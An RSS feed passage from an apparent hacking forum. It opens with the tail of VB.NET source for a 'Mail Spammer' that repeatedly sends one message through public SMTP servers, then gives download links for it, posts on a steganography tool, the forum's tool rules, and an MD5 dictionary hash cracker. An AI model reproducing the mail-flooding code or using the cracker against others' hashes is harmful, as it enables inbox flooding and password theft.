&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case GhostTextBox2.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label13.Visible = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case GhostTextBox5.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label14.Visible = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case GhostTextBox6.Text, GhostTextBox7.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label15.Visible = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Label16.Visible = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show("Please choose your Mail Provider", "Mail Provider Not Chosen", MessageBoxButtons.OK, MessageBoxIcon.Error)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;clear()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s1 = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProgressBar1.Value = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProgressBar1.Update()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton1.Enabled = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton3.Enabled = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton2.Enabled = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If NumericUpDown1.Value = 0 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show("Please select how many mails do you want to sent!", "How many mail to be sent ?", MessageBoxButtons.OK, MessageBoxIcon.Error)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BackgroundWorker1.RunWorkerAsync()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProgressBar1.Maximum = NumericUpDown1.Value<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProgressBar1.Value = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Select<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim msg As New MailMessage()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.From = New MailAddress(GhostTextBox1.Text)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.To.Add(GhostTextBox5.Text)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.Subject = (GhostTextBox4.Text)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.Body = GhostTextBox3.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For counter = 0 To ListBox1.Items.Count - 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.Attachments.Add(Attach)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim SMTPServer As New SmtpClient<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMTPServer.Host = GhostTextBox6.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMTPServer.Port = GhostTextBox7.Text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMTPServer.Credentials = New System.Net.NetworkCredential(GhostTextBox1.Text, GhostTextBox2.Text)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMTPServer.EnableSsl = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Do Until s1 = NumericUpDown1.Value<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If BackgroundWorker1.CancellationPending Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit Sub<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMTPServer.Send(msg)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s1 = s1 + 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Me.ProgressBar1.Value = s1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Loop<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show("All the Mail has been Sent!", "Mail Sent", MessageBoxButtons.OK, MessageBoxIcon.Information)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProgressBar1.Value = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Catch ex As Exception<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(ex.ToString)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Try<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For Each fls As String In OpenFileDialog1.FileNames<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListBox1.Items.Add(fls)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub GhostButton4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GhostButton4.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OpenFileDialog1.ShowDialog()<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub donework(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BackgroundWorker1.RunWorkerCompleted<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton1.Enabled = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton3.Enabled = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostButton2.Enabled = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub GhostButton5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GhostButton5.Click<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If ListBox1.Items.Count = 0 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show("No attachments to clear", "No Attachments", MessageBoxButtons.OK, MessageBoxIcon.Error)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListBox1.Items.Clear()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
&nbsp;&nbsp;&nbsp;&nbsp;Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select Case ComboBox1.SelectedIndex<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.ReadOnly = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.ReadOnly = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case 2<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.Text = "smtp.gmail.com"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.Text = "587"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case 3<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.Text = "smtp.mail.yahoo.com"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.Text = "465"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case 4<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.Text = "smtp.live.com"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.Text = "587"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case 5<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox6.Text = "smtp.aol.com"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GhostTextBox7.Text = "587"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End Select<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Sub<br />
End Class</code></div></div>
<br />
<img src="http://4.bp.blogspot.com/-d0xkbdQrAS0/UIWp7r75wTI/AAAAAAAAV8o/ZAleFme4TGE/s320/97253571510598985560.png" border="0" alt="[Image: 97253571510598985560.png]" /><br />
<br />
<a href="http://www.mediafire.com/?wnpq6rgjxj09y2a" target="_blank"><span style="font-style: italic;"><span style="font-size: large;"><span style="color: #32CD32;">Mail Spammer-(Source + exe)</span></span></span></a><br />
<br />
<img src="http://4.bp.blogspot.com/-d0xkbdQrAS0/UIWp7r75wTI/AAAAAAAAV8o/ZAleFme4TGE/s320/97253571510598985560.png" border="0" alt="[Image: 97253571510598985560.png]" /><br />
<br />
<a href="http://www.mediafire.com/?bmfb92xq7dp1aae" target="_blank"><span style="font-style: italic;"><span style="font-size: large;"><span style="color: #32CD32;">Mail Spammer-(exe only)</span></span></span></a><br />
<br />
<span style="font-style: italic;"><span style="color: #FF0000;">Note:-<br />
</span>Both both x64 and x86 exe are there the links</span><br />
<br />
<div style="text-align: center;"><span style="font-size: x-large;"><span style="color: #32CD32;">VIRUS SCAN</span></span><br />
<a href="http://onlinelinkscan.com/results/mediafire-comwnpq6rgjxj09y2a/" target="_blank"><span style="font-style: italic;"><span style="color: #FF4500;"><span style="font-size: large;">(For Source+exe)-Click Here!</span></span></span></a></div>
<br />
<div style="text-align: center;"><span style="font-size: x-large;"><span style="color: #32CD32;">VIRUS SCAN</span></span><br />
<a href="http://onlinelinkscan.com/results/mediafire-combmfb92xq7dp1aae/" target="_blank"><span style="font-style: italic;"><span style="color: #FF4500;"><span style="font-size: large;">(For exe only)-Click Here!</span></span></span></a></div>
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #1E90FF;">Credits for theme:</span></span></span><br />
<br />
<span style="font-size: medium;"><span style="color: #FFD700;"><span style="font-style: italic;">Aeonhack - For GhostTheme</span></span></span><br />
<br />
<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #1E90FF;">Reference:</span></span></span><br />
<span style="color: #00BFFF;"><span style="font-size: medium;">1. <a href="http://vb.net-informations.com/" target="_blank">http://vb.net-informations.com/</a><br />
2. MSDN Library.</span></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] Solixia v1.3]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-Solixia-v1-3</link>
			<pubDate>Sun, 31 Mar 2013 08:08:37 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-Solixia-v1-3</guid>
			<description><![CDATA[<span style="font-size: 13pt;"><span style="color: red;">Solixia v1.3</span></span><br />
<br />
<span style="color: green;">Description</span><ul>
<li>Solixia v1.3 is a steganography tool which can be used to hide files inside image files in PNG format and extract them later for use.</li>
<li>The files that are hidden can be both ASCII files or Binary files.</li>
<li>The size of the file that can be hidden inside the image is dependent on the number of pixels present in that image<br />
</li></ul>
<br />
<span style="color: green;">Screen Shot</span><br />
<img src="http://s1.postimg.org/h8hz4ex5r/Screen.jpg" border="0" alt="[Image: Screen.jpg]" /><br />
<br />
<span style="color: green;">Download Links</span><br />
Runnable JAR File : <a href="http://www.mediafire.com/?hjsm2bhmc93ic7b" target="_blank">Solixia v1.3</a><br />
Source Code : <a href="http://www.mediafire.com/?dqk8q78yv6g7deh" target="_blank">Solixia v1.3 Source Code</a><br />
<br />
Also, if you find any bug in the software, you can post it here itself or PM me and I'll look into it.<br />
Cheers <img src="images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" /><br />
<br />
I'd like to thank @<a id="mention_30644" href="User-Deque"><span style="color: #41FF24;">Deque</span></a> for helping me make this software.]]></description>
			<content:encoded><![CDATA[<span style="font-size: 13pt;"><span style="color: red;">Solixia v1.3</span></span><br />
<br />
<span style="color: green;">Description</span><ul>
<li>Solixia v1.3 is a steganography tool which can be used to hide files inside image files in PNG format and extract them later for use.</li>
<li>The files that are hidden can be both ASCII files or Binary files.</li>
<li>The size of the file that can be hidden inside the image is dependent on the number of pixels present in that image<br />
</li></ul>
<br />
<span style="color: green;">Screen Shot</span><br />
<img src="http://s1.postimg.org/h8hz4ex5r/Screen.jpg" border="0" alt="[Image: Screen.jpg]" /><br />
<br />
<span style="color: green;">Download Links</span><br />
Runnable JAR File : <a href="http://www.mediafire.com/?hjsm2bhmc93ic7b" target="_blank">Solixia v1.3</a><br />
Source Code : <a href="http://www.mediafire.com/?dqk8q78yv6g7deh" target="_blank">Solixia v1.3 Source Code</a><br />
<br />
Also, if you find any bug in the software, you can post it here itself or PM me and I'll look into it.<br />
Cheers <img src="images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" /><br />
<br />
I'd like to thank @<a id="mention_30644" href="User-Deque"><span style="color: #41FF24;">Deque</span></a> for helping me make this software.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Rules for HC official programs]]></title>
			<link>http://www.hackcommunity.com/Thread-Rules-for-HC-official-programs</link>
			<pubDate>Sun, 24 Mar 2013 08:20:13 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-Rules-for-HC-official-programs</guid>
			<description><![CDATA[This is probably nothing new, but I write it down for clarity for new members.<br />
<br />
<div style="text-align: center;"><span style="font-weight: bold;"><span style="font-size: xx-large;"><span style="color: #FF6347;">Rules</span></span></span></div>
<br />
<ol type="1">
<li>Every HC member, who has written a tool by him-/herself, can apply to make it a HC official tool. It doesn't matter how long you have been a member or if you are member of HC Dev. Use this thread to apply: <a href="http://www.hackcommunity.com/Thread-Your-program-in-the-official-HC-Programs" target="_blank">http://www.hackcommunity.com/Thread-Your...C-Programs</a></li>
<li>If you used code parts of other people give credits</li>
<li>Your tool has to be HC related. I.e. use the HC logo somewhere and maybe the HC theme. If your program only has a CLI, you can use a text to ASCII art generator to create a title. Example: Ex094's MD5 cracker: <a href="http://www.hackcommunity.com/Thread-HC-Official-MD5-Hash-Cracker" target="_blank">http://www.hackcommunity.com/Thread-HC-O...sh-Cracker</a><br />
text to ASCII art generator: <a href="http://patorjk.com/software/taag/#p=display&amp;f=Cybermedium&amp;t=Hackcommunity.com" target="_blank">http://patorjk.com/software/taag/#p=disp...munity.com</a></li>
<li>Your tool must be open source</li>
<li>Your tool has to be of a certain quality</li>
<li>HC Dev members can post their tools without applying for it<br />
</li></ol>
<br />
<br />
Any more questions? Post here.]]></description>
			<content:encoded><![CDATA[This is probably nothing new, but I write it down for clarity for new members.<br />
<br />
<div style="text-align: center;"><span style="font-weight: bold;"><span style="font-size: xx-large;"><span style="color: #FF6347;">Rules</span></span></span></div>
<br />
<ol type="1">
<li>Every HC member, who has written a tool by him-/herself, can apply to make it a HC official tool. It doesn't matter how long you have been a member or if you are member of HC Dev. Use this thread to apply: <a href="http://www.hackcommunity.com/Thread-Your-program-in-the-official-HC-Programs" target="_blank">http://www.hackcommunity.com/Thread-Your...C-Programs</a></li>
<li>If you used code parts of other people give credits</li>
<li>Your tool has to be HC related. I.e. use the HC logo somewhere and maybe the HC theme. If your program only has a CLI, you can use a text to ASCII art generator to create a title. Example: Ex094's MD5 cracker: <a href="http://www.hackcommunity.com/Thread-HC-Official-MD5-Hash-Cracker" target="_blank">http://www.hackcommunity.com/Thread-HC-O...sh-Cracker</a><br />
text to ASCII art generator: <a href="http://patorjk.com/software/taag/#p=display&amp;f=Cybermedium&amp;t=Hackcommunity.com" target="_blank">http://patorjk.com/software/taag/#p=disp...munity.com</a></li>
<li>Your tool must be open source</li>
<li>Your tool has to be of a certain quality</li>
<li>HC Dev members can post their tools without applying for it<br />
</li></ol>
<br />
<br />
Any more questions? Post here.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] Solixia v1.2]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-Solixia-v1-2</link>
			<pubDate>Sat, 23 Mar 2013 14:50:15 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-Solixia-v1-2</guid>
			<description><![CDATA[<span style="color: red;"><span style="font-size: 13pt;">Solixia v1.2</span></span><br />
Solixia v1.2 is a steganography tool that can be used to hide text files inside images which would be saved in PNG format.<br />
<br />
Screenshot :<br />
<br />
<img src="http://s18.postimg.org/50j0149h5/Scr_4.jpg" border="0" alt="[Image: Scr_4.jpg]" /><br />
<br />
Using this software shouldn't be so difficult for anyone that I'd need to explain it step wise.<br />
If you are interested in viewing its source code, you may PM me for it or simply decompile file I'm providing below.<br />
<br />
Download link : <a href="http://www.mediafire.com/download.php?jba62b99noc3wwd" target="_blank">Solixia v1.2.rar</a><br />
<br />
Cheers <img src="images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" />]]></description>
			<content:encoded><![CDATA[<span style="color: red;"><span style="font-size: 13pt;">Solixia v1.2</span></span><br />
Solixia v1.2 is a steganography tool that can be used to hide text files inside images which would be saved in PNG format.<br />
<br />
Screenshot :<br />
<br />
<img src="http://s18.postimg.org/50j0149h5/Scr_4.jpg" border="0" alt="[Image: Scr_4.jpg]" /><br />
<br />
Using this software shouldn't be so difficult for anyone that I'd need to explain it step wise.<br />
If you are interested in viewing its source code, you may PM me for it or simply decompile file I'm providing below.<br />
<br />
Download link : <a href="http://www.mediafire.com/download.php?jba62b99noc3wwd" target="_blank">Solixia v1.2.rar</a><br />
<br />
Cheers <img src="images/smilies/smile.gif" style="vertical-align: middle;" border="0" alt="Smile" title="Smile" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] MD5 Hash Cracker]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-MD5-Hash-Cracker</link>
			<pubDate>Sat, 23 Mar 2013 14:14:50 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-MD5-Hash-Cracker</guid>
			<description><![CDATA[Hey guys! This is my first official contribution towards Hackcommunity, It's an MD5 Hash Cracker, Uses the known Dictionary Method to compare hashes made from the wordlist with the one user has input.<br />
<br />
<span style="color: #FF0000;"><span style="font-weight: bold;">Screen Shot:</span></span><br />
<img src="http://i.imgur.com/5f9s0S2.png" border="0" alt="[Image: 5f9s0S2.png]" /><br />
<br />
<span style="color: #32CD32;"><span style="font-weight: bold;">Download Link:</span></span><br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>http://www.mediafire.com/?negmec2j5abot8e</code></div></div>
<br />
<span style="color: #1E90FF;"><span style="font-weight: bold;">HOW-TO:</span></span><br />
<br />
<span style="font-style: italic;">1) Download the File<br />
2) Unzip it <br />
3) Copy and Paste your wordlist to the same directory where you just unzipped MD5 Hash Cracker (Recommended)<br />
4) Input your MD5 HASH when the program asks you to.<br />
5) Input the location of the wordlist, As it's in the same folder just type your_word_list.txt in the input<br />
6) The Cracking Process will begin and you'll be notified once it's cracked!</span><br />
<br />
<span style="color: #FFD700;"><span style="font-weight: bold;">Disclaimer:</span></span> <span style="font-style: italic;">This CLI Program is intended to be used for EDUCATIONAL PURPOSES ONLY!!</span><br />
<br />
Have Fun and Please if you have a suggestion do post it.]]></description>
			<content:encoded><![CDATA[Hey guys! This is my first official contribution towards Hackcommunity, It's an MD5 Hash Cracker, Uses the known Dictionary Method to compare hashes made from the wordlist with the one user has input.<br />
<br />
<span style="color: #FF0000;"><span style="font-weight: bold;">Screen Shot:</span></span><br />
<img src="http://i.imgur.com/5f9s0S2.png" border="0" alt="[Image: 5f9s0S2.png]" /><br />
<br />
<span style="color: #32CD32;"><span style="font-weight: bold;">Download Link:</span></span><br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>http://www.mediafire.com/?negmec2j5abot8e</code></div></div>
<br />
<span style="color: #1E90FF;"><span style="font-weight: bold;">HOW-TO:</span></span><br />
<br />
<span style="font-style: italic;">1) Download the File<br />
2) Unzip it <br />
3) Copy and Paste your wordlist to the same directory where you just unzipped MD5 Hash Cracker (Recommended)<br />
4) Input your MD5 HASH when the program asks you to.<br />
5) Input the location of the wordlist, As it's in the same folder just type your_word_list.txt in the input<br />
6) The Cracking Process will begin and you'll be notified once it's cracked!</span><br />
<br />
